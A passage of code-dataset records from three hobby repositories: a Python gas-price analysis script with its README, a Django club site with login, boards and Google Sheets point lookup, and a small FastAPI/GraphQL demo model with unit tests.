print('\\n2011\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------')\n \n # 2012\n prices12 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2012':\n prices12.append(float(contents[i][11:])) \n low = min(prices12)\n high = max(prices12)\n print('\\n2012\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------') \n \n # 2013\n prices13 = []\n for i in range(len(contents)):\n if contents[i][6:10] == '2013':\n prices13.append(float(contents[i][11:])) \n low = min(prices13)\n high = max(prices13)\n print('\\n2013\\tLowest Price = $' + format(low, ',.3f'))\n print('\\tHighest Price = $' + format(high, ',.3f')) \n print('-------------------------------') \n\n\n# ============ Making text file for sorted list lowest to highest ============\n\ndef list_low_to_high(contents):\n print('\\n------ List of Dates and Prices Sorted from Lowest to Highest ------')\n print('\\nA text file named lowest_to_highest_prices.txt was created in the same')\n print('folder as this program. The text file list the dates and prices of gas')\n print('sorted from lowest to highest by price.')\n print('\\nThe format in the text file is as follows: ')\n print('Price : MM - DD - YYYY')\n print('\\nYou can view the data by opening the file that was created.') \n \n list_ = []\n new_list = []\n s = ':'\n \n low_2_high_file = open('lowest_to_highest_prices.txt', 'w')\n \n for i in range(len(contents)):\n new = contents[i].split(':')\n list_.append(new) \n for i in range(len(list_)):\n new_list.append(list_[i][1] + ':' + list_[i][0])\n \n # Sorting the list\n new_list = sorted(new_list) \n \n # Writing the data to the file\n for i in range(len(new_list)):\n low_2_high_file.write(str(new_list[i]) + '\\n')\n \n \n # Close the file\n low_2_high_file.close()\n print('\\nData written to lowest_to_highest_prices.txt ')\n \n# ============ Making text file for sorted list highest to lowest ============\n\ndef list_high_to_low(contents):\n print('\\n------ List of Dates and Prices Sorted from Highest to Lowest ------')\n print('\\nA text file named highest_to_lowest_prices.txt was created in the same')\n print('folder as this program. The text file list the dates and prices of gas')\n print('sorted from the highest to lowest prices of gas.')\n print('\\nThe format in the text file is as follows: ')\n print('Price : MM - DD - YYYY')\n print('\\nYou can view the data by opening the file that was created.')\n\n list_ = []\n new_list = []\n \n high_2_low_file = open('highest_to_lowest_prices.txt', 'w')\n \n # Separating and rearranging the data to sort it\n for i in range(len(contents)):\n new = contents[i].split(':')\n list_.append(new) \n for i in range(len(list_)):\n new_list.append(list_[i][1] + ':' + list_[i][0])\n \n # Sorting the list\n new_list = sorted(new_list, reverse=True)\n \n # Writing the data to the file\n for i in range(len(new_list)):\n high_2_low_file.write(str(new_list[i]) + '\\n')\n \n \n # Close the file\n high_2_low_file.close()\n \n print('\\nData has been written to highest_to_lowest_prices.txt ') \n \n# =================== Call main to run program ===============================\nmain()" }, { "alpha_fraction": 0.7114967703819275, "alphanum_fraction": 0.72559654712677, "avg_line_length": 37.33333206176758, "blob_id": "1addb6d5052712e4409d8bae1713e570c514535a", "content_id": "70f143484c3efe56217c26409ff4893c60cb3a10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 922, "license_type": "no_license", "max_line_length": 105, "num_lines": 24, "path": "/README.md", "repo_name": "robert-m-proph/Gas-Price-Analysis", "src_encoding": "UTF-8", "text": "# Gas Price Analysis\n\nThis program will read the contents of the GasPrices.txt file, which contains\nthe weekly average price of a gallon of gas from 1993-2013. The format is mm-dd-yyyy:price.\nThe program then promts a menu asking for user input on what they would like to \ndo with the program/data. The following will be performed by the program:\n\n1) Average Price Per Year: \n - For every year in the file\n \n2) Average Price per Month: \n - For each month in the file\n \n3) Highest and Lowest Prices per year\n\n4) List of Prices, Lowest to Highest: \n - Will generate a txt file that list the dates and prices, sorted from \n lowest to highest\n \n5) List of Prices, Highest to Lowest:\n - Will generate a txt file that list the dates and prices, sorted from \n highest to lowest\n\nThis program is finished. However, I am still improving the structure and repetitive use of similar code.\n\n\n" }, { "alpha_fraction": 0.640625, "alphanum_fraction": 0.734375, "avg_line_length": 20.33333396911621, "blob_id": "06179d65e8bdab3356bbc632ac4658bb1aef8c28", "content_id": "622a0775bff92ac9444ea546e5265c149cf7d6c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 128, "license_type": "no_license", "max_line_length": 58, "num_lines": 6, "path": "/REQUIREMENTS.md", "repo_name": "robert-m-proph/Gas-Price-Analysis", "src_encoding": "UTF-8", "text": "# Gas Price Analysis\n\nProgram Requirements:\n\n1. Python 3.7 or later.\n2. GasPrices.txt - (List of the gas prices from 1993-2013)\n" } ]
3
SonChangHa/sowlpro
https://github.com/SonChangHa/sowlpro
ef90d547989bc09b10d760858eb10062952ab1fd
65f08b00d39a6e3c547ba24f5cae571e4090aef6
d9008195cece5bbb48339489d8797cd8129f5d77
refs/heads/master
2021-10-09T13:43:48.374886
2021-10-01T11:19:19
2021-10-02T06:19:41
236,915,393
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5980197787284851, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 32.733333587646484, "blob_id": "438a0d0e8278ad435f9eded8e82df51a5b9888f6", "content_id": "a5701224c490e0b109067cec5a91adbdb47c530e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 547, "license_type": "no_license", "max_line_length": 79, "num_lines": 15, "path": "/login/static/js/login_menu.js", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "document.querySelector('#loginId').focus();\ndocument.getElementsByClassName('btn_login')[0].addEventListener('click',(e)=>{\n if(document.querySelector('#loginId').value == \"\"){\n alert('아이디를 입력해주세요!');\n e.preventDefault();\n document.querySelector('#loginId').focus();\n return;\n }\n if(document.querySelector('#loginPw').value == \"\"){\n alert('비밀번호를 입력해주세요!');\n e.preventDefault();\n document.querySelector('#loginPw').focus();\n return;\n }\n})" }, { "alpha_fraction": 0.5587467551231384, "alphanum_fraction": 0.5613576769828796, "avg_line_length": 30.95833396911621, "blob_id": "84e661a41fc5df2347d95e79d6e366e7c701cb74", "content_id": "e7dec75ddfb1b699fd4ff606d53d0be27e86021d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 810, "license_type": "no_license", "max_line_length": 125, "num_lines": 24, "path": "/table/forms.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django import forms\n\nfrom .models import FreeTable, NoticeTable\n\nclass FreeTableForm(forms.ModelForm):\n\n class Meta:\n model = FreeTable\n fields = ('title', 'text')\n widgets = {\n 'title': forms.TextInput(attrs={'placeholder':\"제목을 입력하세요.\", 'name':\"subject\", 'class':\"form-control\"}),\n 'text': forms.Textarea(attrs={'cols':\"10\", 'placeholder':\"내용을 입력하세요.\", 'class':\"form-control\", 'name':\"content\"})\n }\n labels = {\n 'title': '글 제목',\n 'text': '글 내용'\n }\n def __init__(self, *args, **kwargs):\n super(FreeTableForm, self).__init__( *args, **kwargs)\n\nclass NoticeTableForm(forms.ModelForm):\n class Meta:\n model = NoticeTable\n fields = ('title', 'text',)" }, { "alpha_fraction": 0.7011494040489197, "alphanum_fraction": 0.7356321811676025, "avg_line_length": 23.85714340209961, "blob_id": "f522bc8d358bbeca5da60f312ebc94907ea79177", "content_id": "d0ca4f4032a35b230430e60d32788f42cf7d323e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 174, "license_type": "no_license", "max_line_length": 44, "num_lines": 7, "path": "/point/models.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass Point(models.Model):\n name = models.CharField(max_length=100)\n point = models.CharField(max_length=100)\n\n# Create your models here.\n" }, { "alpha_fraction": 0.6205607652664185, "alphanum_fraction": 0.6233645081520081, "avg_line_length": 27.157894134521484, "blob_id": "0a8b4deda625bf051d583a8cad1446691d663d95", "content_id": "3fa7c3a9bff15eafa1b21ea71865fa5e9ceac621", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2140, "license_type": "no_license", "max_line_length": 99, "num_lines": 76, "path": "/table/views.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django.shortcuts import get_object_or_404, render, redirect\nfrom point.views import throw_point\nfrom .forms import FreeTableForm, NoticeTableForm\nfrom .models import *\nfrom point.views import throw_point\n\n\n\n\ndef post_detail(request, pk):\n post = get_object_or_404(FreeTable, pk=pk)\n mypoint = throw_point(request)\n return render(request, 'table/detail.html', {'mypoint': mypoint, 'post': post})\n\n\n\n\ndef free_table(request):\n posts = FreeTable.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n mypoint = throw_point(request)\n return render(request, 'table/free_table.html', {'mypoint': mypoint, 'posts': posts})\n\ndef photo_table(request):\n mypoint = throw_point(request)\n return render(request, 'table/photo_table.html', {'mypoint': mypoint})\n\ndef rule_table(request):\n mypoint = throw_point(request)\n return render(request, 'table/photo_table.html', {'mypoint': mypoint, 'posts': posts})\n\n\n\n\n\ndef freeTable_new(request):\n if request.method == \"POST\":\n form = FreeTableForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.published_date = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = FreeTableForm()\n\n mypoint = throw_point(request)\n\n\n return render(request, 'table/writing.html', {\n 'mypoint': mypoint,\n 'form': form\n })\n\n\n\ndef noticeTable_new(request):\n if request.method == \"POST\":\n form = NoticeTableForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.published_date = timezone.now()\n post.save()\n return redirect('notice', pk=post.pk)\n else:\n form = NoticeTableForm()\n\n if request.user.is_active:\n mypoint = throw_point(request)\n return render(request, 'table/writing.html', {\n 'mypoint': mypoint,\n 'form': form\n })\n\n return render(request, 'table/writing.html')\n" }, { "alpha_fraction": 0.6304568648338318, "alphanum_fraction": 0.648223340511322, "avg_line_length": 24.584415435791016, "blob_id": "75e2132d3900d690e7e898db5c400bb25534746c", "content_id": "27f0c18cfe6bf8a79bbde724a3f8b29a94382743", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2070, "license_type": "no_license", "max_line_length": 114, "num_lines": 77, "path": "/point/views.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "\nfrom django.shortcuts import render\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n# from django.contrib.auth import authenticate\n\nscope = [\n 'https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive',\n]\njson_file_name = 'angelic-tracer-264105-f8cfe213e83e.json'\ncredentials = ServiceAccountCredentials.from_json_keyfile_name(json_file_name, scope)\ngc = gspread.authorize(credentials)\nspreadsheet_url = 'https://docs.google.com/spreadsheets/d/1c-X7io-Y5EahzJGG4wVOZO4xGXjTeCgIy2xSMeMDWDA/edit#gid=0'\n# 스프레스시트 문서 가져오기\ndoc = gc.open_by_url(spreadsheet_url)\n# 시트 선택하기\nworksheet = doc.worksheet('시트1')\n\n# for i in range(1,3):\n# row_data = worksheet.row_values(i)\n# 범위(셀 위치 리스트) 가져오기\n\ndef get_pointlist(request):\n range_list = worksheet.range('A1:D180')\n\n # 이제 여기서 html로 어떻게 값을 띄울것 인지 고민\n pointlist = []\n list = []\n i = 0\n for cell in range_list:\n if cell.value == '':\n break\n list.append(cell.value)\n i = i + 1\n if i == 4:\n pointlist.append(list)\n list = []\n i = 0\n\n return pointlist\n\n\n\ndef point_list(request):\n\n pointlist = get_pointlist(request)\n\n return render(request, 'point/point.html', {'point': pointlist})\n\ndef point_list_mine(request):\n\n myPointList = []\n pointlist = get_pointlist(request)\n\n if request.user.is_active:\n for i in pointlist:\n if i[0] == request.user.last_name + request.user.first_name:\n myPointList.append(i)\n\n\n return render(request, 'point/point_mine.html', {'point': myPointList})\n\n\ndef throw_point(request):\n myPointList = []\n pointlist = get_pointlist(request)\n\n if request.user.is_active:\n for i in pointlist:\n if i[0] == request.user.last_name + request.user.first_name:\n myPointList.append(i)\n\n allpoint = 0\n for i in myPointList:\n allpoint += int(i[3])\n\n return allpoint" }, { "alpha_fraction": 0.7086167931556702, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 29.44827651977539, "blob_id": "9d36c003b45b0f140d692b9399e855ede12c53da", "content_id": "bd9852df453dabbc21c65f103694d1a699094c1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1002, "license_type": "no_license", "max_line_length": 102, "num_lines": 29, "path": "/table/models.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django.conf import settings\nfrom django.db import models\nfrom django.utils import timezone\n\nclass TableBase(models.Model):\n author = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, verbose_name='사용자')\n #cascade는 사용자가 삭제되면 해당 글도 지우라는 뜻\n #verbose_name은 관리자 페이지에서 해당 변수가 무엇을 나타내는지 보여주는 것.\n title = models.CharField(max_length=200, verbose_name='제목')\n text = models.TextField(verbose_name='내용')\n created_date = models.DateTimeField(auto_now_add=True, verbose_name='작성시간')\n published_date = models.DateTimeField(auto_now=True, verbose_name='수정시간')\n\n class Meta:\n abstract = True\n\n def __str__(self):\n return self.title\n\n\nclass FreeTable(TableBase):\n pass\n\nclass NoticeTable(TableBase):\n pass\n\nclass Profile(models.Model):\n name = models.CharField(max_length=10)\n photo = models.ImageField(upload_to=\"image\")" }, { "alpha_fraction": 0.6491525173187256, "alphanum_fraction": 0.6508474349975586, "avg_line_length": 30.91891860961914, "blob_id": "16e229877ef9b2b18c4d4b295da6a7879ff390ed", "content_id": "42229782bd9b9de701b1a5ea929c775930430764", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1470, "license_type": "no_license", "max_line_length": 94, "num_lines": 37, "path": "/login/views.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django.contrib.auth import login, authenticate, logout\nfrom django.shortcuts import render, redirect\nfrom django.urls.base import reverse\nfrom point.views import throw_point\nfrom .forms import SigninForm\n\n\n# login과 authenticate 기능을 사용하기위해 선언\n# login은 login처리를 해주며, authenticate는 아이디와 비밀번호가 모두 일치하는 User 객체를 추출\n\nmyPoint = 0\nprint(myPoint)\n\ndef signin(request): # 로그인 기능\n\n if request.method == \"GET\":\n return render(request, 'login/login_menu.html')\n\n elif request.method == \"POST\":\n # id = request.POST['username']\n # pw = request.POST['password']\n # 위 2개의 코드는 유저네임 혹은 비번이 없으면 에러를 일으킴.\n id = request.POST.get('username')\n pw = request.POST.get('password')\n u = authenticate(username=id, password=pw)\n # authenticate를 통해 DB의 username과 password를 클라이언트가 요청한 값과 비교한다.\n # 만약 같으면 해당 객체를 반환하고 아니라면 none을 반환한다.\n\n if u is not None: # u에 특정 값이 있다면\n login(request, user=u) # u 객체로 로그인해라\n return redirect('/')\n else:\n return render(request, 'login/login_menu.html', {'error': '아이디 혹은 비밀번호를 확인해주세요.'})\n\ndef signout(request):\n logout(request)\n return redirect('./')" }, { "alpha_fraction": 0.6777777671813965, "alphanum_fraction": 0.6777777671813965, "avg_line_length": 21.625, "blob_id": "666583df8e7976d92b104506901a585b78f3abc4", "content_id": "246d98d7eb42eeaee1aa521e3aae5961b9aedbe9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 180, "license_type": "no_license", "max_line_length": 61, "num_lines": 8, "path": "/point/urls.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('test', views.point_list, name='point'),\n path('test/mine', views.point_list_mine, name='mypoint'),\n\n]" }, { "alpha_fraction": 0.663847804069519, "alphanum_fraction": 0.663847804069519, "avg_line_length": 38.25, "blob_id": "68514ca967879cde4fc2712b6e09c645ee5c02bd", "content_id": "28c3878ddcd0517ec08e28e8a3009a83f21cdc58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 473, "license_type": "no_license", "max_line_length": 72, "num_lines": 12, "path": "/table/urls.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('table/free/', views.free_table, name='free_table'),\n path('table/free/new/', views.freeTable_new, name='free_new'),\n path('table/notice/new/', views.noticeTable_new, name='notice_new'),\n path('table/free/<int:pk>/', views.post_detail, name='post_detail'),\n path('table/photo/', views.photo_table, name='photo_table'),\n path('table/rule/', views.rule_table, name='rule_table'),\n\n]\n\n\n" }, { "alpha_fraction": 0.7422680258750916, "alphanum_fraction": 0.7422680258750916, "avg_line_length": 31.33333396911621, "blob_id": "60dda4b8662f8d83e96fb3b4ea49299da9c2a66f", "content_id": "b18c23dda72ec2d765f5656443d6b65f04de5c90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 194, "license_type": "no_license", "max_line_length": 66, "num_lines": 6, "path": "/main/views.py", "repo_name": "SonChangHa/sowlpro", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom point.views import throw_point\n\ndef main(request):\n mypoint = throw_point(request)\n return render(request, 'main/main.html', {'mypoint': mypoint})\n" } ]
10
olegggatttor/NeuralFriend
https://github.com/olegggatttor/NeuralFriend
c7f3d21eba40b96518cc3ea99a30b9371cb9c3fb
78be48635471a9aa7395e69e94f77dc587e96229
12349ecf77974fde30420fe472cab8b2eacaeb8e
refs/heads/master
2023-08-01T13:17:14.261572
2021-09-29T21:05:34
2021-09-29T21:05:34
407,593,656
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.5753791332244873, "alphanum_fraction": 0.6066012382507324, "avg_line_length": 34.587303161621094, "blob_id": "80573483a67fe90c842d8561c1dac139320cc623", "content_id": "2834e60b39e01194f75acf1bb100828c3fbddcfc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2242, "license_type": "no_license", "max_line_length": 101, "num_lines": 63, "path": "/test/unit/methods/test_get_methods_tests.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "import random\nimport unittest\n\nfrom endpoints.methods.get_methods import get_root_message, format_prediction_message, get_prediction\nfrom endpoints.methods.model_instance import predictor\n\n\nclass GetMethodsTestCase(unittest.TestCase):\n def setUp(self):\n predictor.reset()\n\n def test_root_message_eq(self):\n result = get_root_message()\n self.assertEqual(result, \"Hi! Talk to me please!\")\n\n def test_root_message_not_eq(self):\n result = get_root_message()\n self.assertNotEqual(result, \"Something else\")\n\n def test_root_message_determinism(self):\n result1 = get_root_message()\n result2 = get_root_message()\n self.assertEqual(result1, result2)\n\n def test_format_prediction_message_eq(self):\n for i in range(100):\n x, y = random.randint(0, 100), random.randint(0, 100)\n result = format_prediction_message(x, y)\n self.assertEqual(result, 'Predicted y={} for x={}'.format(y, x))\n\n def test_format_prediction_message_not_eq(self):\n for i in range(100):\n x, y = random.randint(0, 100), random.randint(200, 300)\n result = format_prediction_message(x, y)\n self.assertNotEqual(result, 'Predicted y={} for x={}'.format(x, y))\n\n def test_format_prediction_message_determinism(self):\n for i in range(100):\n x, y = random.randint(0, 100), random.randint(0, 100)\n result1 = format_prediction_message(x, y)\n result2 = format_prediction_message(x, y)\n self.assertEqual(result1, result2)\n\n def test_get_prediction_eq(self):\n for i in range(100):\n x = random.randint(0, 100)\n y = x + 1\n result = get_prediction(x)\n self.assertEqual(result, y)\n\n def test_get_prediction_not_eq(self):\n for i in range(100):\n x = random.randint(0, 100)\n y = x + 2\n result = get_prediction(x)\n self.assertNotEqual(result, y)\n\n def test_get_prediction_determinism(self):\n for i in range(100):\n x = random.randint(0, 100)\n result1 = get_prediction(x)\n result2 = get_prediction(x)\n self.assertEqual(result1, result2)\n" }, { "alpha_fraction": 0.5814558267593384, "alphanum_fraction": 0.5914211273193359, "avg_line_length": 42.52830123901367, "blob_id": "11583f396dc36207470a160fbb03121e41ddfb92", "content_id": "b894851bddba49df89430da777f105de0b2cc25e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2308, "license_type": "no_license", "max_line_length": 113, "num_lines": 53, "path": "/test/integration/test_get_post_integration.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "import unittest\n\nfrom endpoints.methods.get_methods import get_root_message, format_prediction_message, get_prediction\nfrom endpoints.methods.model_instance import predictor\nfrom endpoints.methods.post_methods import update_model\nfrom random import randint, choice\nimport string\n\n\ndef get_random_params():\n letters = string.ascii_uppercase\n return (randint(1, 100),\n randint(1, 100),\n randint(1, 100),\n ''.join(choice(letters) for _ in range(50)))\n\n\nclass GetPostIntegrationMethodsTestCase(unittest.TestCase):\n def setUp(self):\n predictor.reset()\n\n def test_get_after_post_eq(self):\n for i in range(100):\n self.setUp()\n user_id, query_value, inc_change_value, message = get_random_params()\n root_msg_prev = get_root_message()\n get_prediction_message_prev = format_prediction_message(query_value, get_prediction(query_value))\n\n self.assertEqual(root_msg_prev, \"Hi! Talk to me please!\")\n self.assertEqual(get_prediction_message_prev,\n 'Predicted y={} for x={}'.format(query_value + 1, query_value))\n\n update_model_message = update_model(user_id, inc_change_value, message)\n\n self.assertEqual(update_model_message,\n \"Thanks, {}! You set new inc value for model: {}. Your reversed message: {}\".format(\n user_id, inc_change_value, message[::-1]\n ))\n\n root_msg_new = get_root_message()\n get_prediction_message_new = format_prediction_message(query_value, get_prediction(query_value))\n\n self.assertEqual(root_msg_prev, root_msg_new)\n self.assertEqual(get_prediction_message_new,\n 'Predicted y={} for x={}'.format(query_value + inc_change_value,\n query_value))\n\n def test_get_integration_with_format(self):\n for i in range(100):\n user_id, query_value, _, _ = get_random_params()\n result = format_prediction_message(query_value, get_prediction(query_value))\n self.assertEqual(result,\n 'Predicted y={} for x={}'.format(query_value + 1, query_value))\n\n" }, { "alpha_fraction": 0.8333333134651184, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 40.53845977783203, "blob_id": "4fb3646a861219eb4bc9e1577148d8fae2c07927", "content_id": "55eb77a19b56b11865e4d49e59ffb799e7cb54b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 540, "license_type": "no_license", "max_line_length": 107, "num_lines": 13, "path": "/main_router.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "import graphene\nfrom fastapi import APIRouter\nfrom graphql.execution.executors.asyncio import AsyncioExecutor\nfrom starlette.graphql import GraphQLApp\n\nfrom endpoints.graphql.greetings_generator import Query\nfrom endpoints.routers import post_queries, root, get_queries\n\nmain_router = APIRouter()\nmain_router.include_router(root.router)\nmain_router.include_router(get_queries.router)\nmain_router.include_router(post_queries.router)\nmain_router.add_route(\"/\", GraphQLApp(schema=graphene.Schema(query=Query), executor_class=AsyncioExecutor))\n" }, { "alpha_fraction": 0.4680851101875305, "alphanum_fraction": 0.7021276354789734, "avg_line_length": 15, "blob_id": "c6fcdf62c5dd32996ddca0ef4c5cec09a9ad19e8", "content_id": "1cd1f7614b97c50a7c844a585e8d4dc3f33c89be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 47, "license_type": "no_license", "max_line_length": 15, "num_lines": 3, "path": "/requirements.txt", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "uvicorn~=0.15.0\nfastapi~=0.68.1\npydantic~=1.8.2" }, { "alpha_fraction": 0.752860426902771, "alphanum_fraction": 0.7597253918647766, "avg_line_length": 30.214284896850586, "blob_id": "941b6cd170703c097d31da4e7fd23a4d750c165a", "content_id": "e46a74eab997af39e479d4a9e1469981b2c3ee35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 437, "license_type": "no_license", "max_line_length": 71, "num_lines": 14, "path": "/endpoints/routers/post_queries.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from fastapi import APIRouter, HTTPException\n\nfrom data_storages.params_storages import SimpleModelParamsChanger\nfrom endpoints.methods.post_methods import update_model\n\nrouter = APIRouter(prefix='/change_inc')\n\n\[email protected](\"/\")\nasync def change_inc(params: SimpleModelParamsChanger):\n try:\n return update_model(params.user_id, params.inc, params.message)\n except ValueError as e:\n raise HTTPException(404, str(e))\n" }, { "alpha_fraction": 0.7139037251472473, "alphanum_fraction": 0.7192513346672058, "avg_line_length": 25.714284896850586, "blob_id": "4e1af81a60f8605e867e57301defb03a61213bd7", "content_id": "3b50a375cce710233499a3aff92fe39905521877", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 374, "license_type": "no_license", "max_line_length": 83, "num_lines": 14, "path": "/endpoints/routers/get_queries.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from fastapi import APIRouter, Path\nfrom endpoints.methods.get_methods import format_prediction_message, get_prediction\n\nrouter = APIRouter(prefix='/get')\n\n\[email protected](\"/\")\nasync def get(x: int = 0):\n return format_prediction_message(x, get_prediction(x))\n\n\[email protected](\"/{x}\")\nasync def get(x: int = Path(0)):\n return format_prediction_message(x, get_prediction(x))\n" }, { "alpha_fraction": 0.5076586604118347, "alphanum_fraction": 0.5185995697975159, "avg_line_length": 23.105262756347656, "blob_id": "23e649b2071191955b88d15f0ff7bf6a7ffc87ae", "content_id": "0a45395439e470dcac886e41fd0f204a6e8bb2a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 457, "license_type": "no_license", "max_line_length": 66, "num_lines": 19, "path": "/model/simple_model.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "class SimpleModel:\n def __init__(self):\n self.value = 1\n\n def predict(self, x: int) -> int:\n \"\"\"\n Predictor that returns x + value\n :param x: given x\n :return: predicted y = x + 1\n \"\"\"\n return x + self.value\n\n def set_value(self, value):\n if value == 0:\n raise ValueError(\"0 is forbidden as value parameter.\")\n self.value = value\n\n def reset(self):\n self.value = 1" }, { "alpha_fraction": 0.6853147149085999, "alphanum_fraction": 0.687645673751831, "avg_line_length": 34.75, "blob_id": "3b1aa66c63d3be9411083bc074e847185ce39325", "content_id": "59533e52441a81650b2aaf99f8ea9193e8625158", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 429, "license_type": "no_license", "max_line_length": 95, "num_lines": 12, "path": "/endpoints/methods/post_methods.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from endpoints.methods.model_instance import predictor\n\n\ndef update_model(user_id, inc_value, word_param) -> str:\n predictor.set_value(inc_value)\n return format_update_message(user_id, inc_value, word_param)\n\n\ndef format_update_message(user_id, inc_value, word_param) -> str:\n return \"Thanks, {}! You set new inc value for model: {}. Your reversed message: {}\".format(\n user_id, inc_value, word_param[::-1]\n )\n" }, { "alpha_fraction": 0.7317073345184326, "alphanum_fraction": 0.7317073345184326, "avg_line_length": 16.571428298950195, "blob_id": "3d320e90418972395cdf9b9d72712e97d935db15", "content_id": "450dec3cf027e69a2f42761026c1fb3a74e6e0db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 123, "license_type": "no_license", "max_line_length": 42, "num_lines": 7, "path": "/data_storages/params_storages.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from pydantic import BaseModel\n\n\nclass SimpleModelParamsChanger(BaseModel):\n user_id: int\n inc: int\n message: str\n" }, { "alpha_fraction": 0.6875, "alphanum_fraction": 0.6875, "avg_line_length": 19, "blob_id": "c5f83883672dc89100cbde9bf5a952156f898cf8", "content_id": "563fbee650a2151202f03f3f23cfcb8bfe6b6272", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "no_license", "max_line_length": 51, "num_lines": 12, "path": "/endpoints/graphql/schemas/greeting_schema.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "from graphene import String, ObjectType, Int, Field\n\n\nclass Prediction(ObjectType):\n prefix = String()\n predicted_value = String()\n\n\nclass Greeting(ObjectType):\n user = Int()\n title = String()\n prediction = Field(Prediction)\n" }, { "alpha_fraction": 0.5745784640312195, "alphanum_fraction": 0.5771725177764893, "avg_line_length": 29.84000015258789, "blob_id": "229e5e1a5b6f49319a3c5fc1c8d804d3759e163b", "content_id": "3605b3e83a3b8959474573a9c72bafaf2b3e12d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 771, "license_type": "no_license", "max_line_length": 77, "num_lines": 25, "path": "/endpoints/graphql/greetings_generator.py", "repo_name": "olegggatttor/NeuralFriend", "src_encoding": "UTF-8", "text": "import random\n\nfrom graphene import ObjectType, List, Int, Field\nfrom endpoints.graphql.schemas.greeting_schema import Greeting\nfrom endpoints.methods.model_instance import predictor\n\nprefixes = [\"Hello!\", \"Hey!\", \"Hi!\", \"Hola!\"]\n\n\nclass Query(ObjectType):\n greetings_list = None\n greetings = Field(List(Greeting), users=List(Int, required=True))\n\n async def resolve_greetings(self, info, users):\n answer = []\n for user in users:\n answer.append({\n \"user\": user,\n \"title\": \"kek\",\n \"prediction\": {\n \"prefix\": prefixes[random.randint(0, len(prefixes) - 1)],\n \"predicted_value\": predictor.predict(user)\n }\n })\n return answer\n" }, { "alpha_fraction": 0.6920731663703918, "alphanum_fraction": 0.6920731663703918, "avg_line_length": 18.294116973876953, "blob_id": "1ce44c28dc5c7e2e3918d39d8d3252bb3732cd48", "content_id": "49da42f26aab57760dca4a12a60cbec26a418c53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 328, "license_type": "no_license", "max_line_length": 145, "num_lines": 17, "path": "/README.md", "repo_name": 